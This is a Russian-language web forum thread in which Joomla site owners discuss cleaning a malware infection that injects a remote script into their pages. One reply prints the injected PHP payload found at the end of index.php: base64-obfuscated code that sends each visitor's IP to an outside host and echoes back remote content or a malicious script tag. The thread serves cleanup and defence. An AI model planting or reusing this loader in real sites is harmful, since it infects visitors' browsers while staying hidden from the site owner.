Перейти из форума на сайт.

НовостиФайловые архивы
ПоискАктивные темыТоп лист
ПравилаКто в on-line?
Вход Забыли пароль? Первый раз на этом сайте? Регистрация
Компьютерный форум Ru.Board » Интернет » Web-программирование » Прошу помочь найти ссылку в коде

Модерирует : Cheery

 Версия для печати • ПодписатьсяДобавить в закладки

Открыть новую тему     Написать ответ в эту тему

fider



Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Сайт http://it-media39.ru создан на основе joomla 2.5 последнее время стал ругаться на заражение вирусом. Скачал полный бэкап всех фалов сделал полное сканирование Drweb, kaspersky, avz ничего не найдено. Но при проверки сайта в режиме онлайн Drweb показывает что сайт заражен. Нашел несколько файлов на которые он ругался удалил но теперь ругается на такую ссылку http://changeip.changeip.name/rsize.js infected with JS.IFrame.432 где она находится в joomle не могу найти. На этом же хостинге был размещен так же сайт http://umedveda.ru он так же был заражен но т.к. был написан на html я увидел последние измененные файлы открыл и в конце кода была эта ссылка http://changeip.changeip.name/rsize.js infected with JS.IFrame.432 я ее удалил сайт стал чистым. Помогите пожалуйста найту в joomle кусок этого кода где он может быть. Если открыть в браузере сайт и просмотреть исходный код то он в самом низу прописан в строках <script src="http://changeip.changeip.name/rsize.js"></script> но как его вычистить из жумлы не могу понять

Всего записей: 20 | Зарегистр. 06-10-2007 | Отправлено: 10:30 19-06-2013 | Исправлено: fider, 11:01 19-06-2013
Cheery



.:МордератоР:.
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
fider
вопросы по joomla - сюда
Портал Joomla (часть 2)

Цитата:
где она находится в joomle не могу найти.

либо модифицированы php файлы (скорее всего добавлен код в конце index.php), либо находится в базе

----------
Away/DND

Всего записей: 52737 | Зарегистр. 04-04-2002 | Отправлено: 11:09 19-06-2013 | Исправлено: Cheery, 11:10 19-06-2013
NMSky

Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
С такой же проблемой поисковик вывел сюда, поэтому поделюсь своим опытом. Антивирус блокировал сайт и матерился на JS/Agent.NKC
Воспользовался Тётей Асей (Aunt Asya) от M1zh0rY (ссылок не даю во избежание немилости модераторов, правил не помню перечитывать лень). После этого удалил довесок в index.php в конце файла и всё заработало.  
Содержимое довеска:
 
function sql2_safe($in) {
        $rtn = base64_decode($in);
        return $rtn;
}
function collectnewss() {
 
        if (!isset($_COOKIE["iJijkdaMnerys"])) {
        $value = 'yadeor';
        $ip = $_SERVER['REMOTE_ADDR'];
        $get = sql2_safe("aHR0cDovL3h4eHBvcm5vLnh4dXouY29tOjg4OC9tb3ZlLnBocD9pcD0=").$ip;
        $file = @fopen ($get, "r");
        $content = @fread($file, 1000);
        @setcookie("iJijkdaMnerys", $value, time()+3600*24);
        if (!$content)
            echo sql2_safe("PHNjcmlwdCBzcmM9Imh0dHA6Ly9jaGFuZ2VpcC5jaGFuZ2VpcC5uYW1lL3JzaXplLmpzIj48L3NjcmlwdD4=");
        else  
            echo $content;
 
        }
}
collectnewss ();
 
В этой абракадабре я не разбираюсь, поэтому меня вопросами не мучать, это чисто результат двухчасового гугленья и копипаста, может кому сэкономит время.

Всего записей: 1 | Зарегистр. 31-10-2008 | Отправлено: 16:46 27-06-2013
Merlin_Cori



Advanced Member
Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
del

Всего записей: 638 | Зарегистр. 27-08-2002 | Отправлено: 16:58 27-06-2013 | Исправлено: Merlin_Cori, 17:01 27-06-2013
fider



Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Я решил проблему таким образом. Проверил DRWEB онлайн, он мне выдал зараженные файлы. Удалил их с хостинга и перезалил предыдущий бэкап сайта. Теперь бэкаплю сайт чаще )))

Всего записей: 20 | Зарегистр. 06-10-2007 | Отправлено: 01:49 01-08-2013
Открыть новую тему     Написать ответ в эту тему

Компьютерный форум Ru.Board » Интернет » Web-программирование » Прошу помочь найти ссылку в коде


Реклама на форуме Ru.Board.

Powered by Ikonboard "v2.1.7b" © 2000 Ikonboard.com
Modified by Ru.B0ard
© Ru.B0ard 2000-2024

BitCoin: 1NGG1chHtUvrtEqjeerQCKDMUi6S6CG4iC

Рейтинг.ru